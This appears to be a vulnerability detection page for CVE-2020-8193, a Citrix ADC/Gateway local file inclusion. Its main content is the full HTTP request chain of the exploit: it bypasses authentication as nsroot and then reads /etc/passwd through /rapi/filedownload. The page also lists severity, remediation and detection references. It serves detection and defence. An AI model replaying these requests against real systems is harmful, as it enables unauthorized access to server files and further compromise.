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CVE-2020-8193: Citrix - Local File Inclusion

TitleCitrix - Local File Inclusion
Authorpdteam
SeverityMedium
ImpactAn attacker can access sensitive information stored on the server, potentially leading to further exploitation or unauthorized access.
RemediationApply the latest security patches or updates provided by Citrix to fix the local file inclusion vulnerability.
CVSS Score6.5
EPSS Score0.94177
CVE IDCVE-2020-8193
CWE IDCWE-287,CWE-284
Tags cve2020 cve citrix lfi kev packetstorm vkev vuln

🔍 Vulnerability Description

Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 are vulnerable to local file inclusion because they allow unauthenticated access to certain URL endpoints.

🌐 HTTP Request

POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 44
Content-Type: application/xml
X-NITRO-PASS: xWXHUJ56
X-NITRO-USER: xpyZxwy6
Accept-Encoding: gzip

<appfwprofile><login></login></appfwprofile>
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /menu/neo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2
Connection: close
Accept-Encoding: gzip
GET /menu/stc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 44
Content-Type: application/xml
X-NITRO-PASS: ZuU9Y9c1
X-NITRO-USER: oY39DXzQ
rand_key: 4jXdKF
Accept-Encoding: gzip

<appfwprofile><login></login></appfwprofile>
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/xml
X-NITRO-PASS: ZuU9Y9c1
X-NITRO-USER: oY39DXzQ
rand_key: 4jXdKF
Accept-Encoding: gzip

<clipermission></clipermission>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8193.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8193.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A